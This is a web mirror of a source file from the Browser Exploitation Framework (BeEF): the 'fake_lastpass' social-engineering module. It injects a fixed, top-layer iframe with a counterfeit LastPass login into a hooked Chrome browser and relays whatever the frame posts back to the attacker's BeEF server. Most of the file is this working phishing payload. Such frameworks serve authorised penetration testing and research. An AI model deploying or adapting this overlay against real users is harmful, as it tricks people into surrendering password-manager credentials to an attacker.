Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/social_engineering/fake_lastpass/command.js
1873 views
1
//
2
// Copyright (c) 2006-2026Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
// Prepare the onmessage event handling
10
var eventMethod = window.addEventListener ? "addEventListener" : "attachEvent";
11
var eventer = window[eventMethod];
12
var messageEvent = eventMethod == "attachEvent" ? "onmessage" : "message";
13
eventer(messageEvent,function(e) {
14
if (e.data == "KILLFRAME") {
15
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Killing Frame');
16
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'meta=KILLFRAME');
17
beef.dom.removeElement('LPIFRAME');
18
return;
19
} else {
20
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=' + e.data);
21
}
22
},false);
23
24
if (beef.browser.isC()) {
25
beef.dom.createIframe('custom', {'src':beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/lp/index.html','id':'LPIFRAME'}, {'width':'294px','height':'352px','position':'fixed','right':'5px','top':'0px','z-index':beef.dom.getHighestZindex()+1,'border':'1px solid white','overflow':'hidden'});
26
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Chrome IFrame Created .. awaiting messages');
27
} else {
28
beef.debug('[Fake LastPass] Unspported browser');
29
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=No IFrame Created -- browser is not Chrome', beef.are.status_error());
30
}
31
32
// $j('body').append("<div id='lp_login_dia' style='width:375px; height:415px; position: fixed; right: 0px; top: 0px; z-index: "+beef.dom.getHighestZindex()+1+"; border: 1px solid white; overflow: hidden; display: none'></div>");
33
34
// $j('#lp_login_dia').load(beef.net.httpproto+"://"+beef.net.host+":"+beef.net.port+"/lp/index.html");
35
36
37
38
});
39
40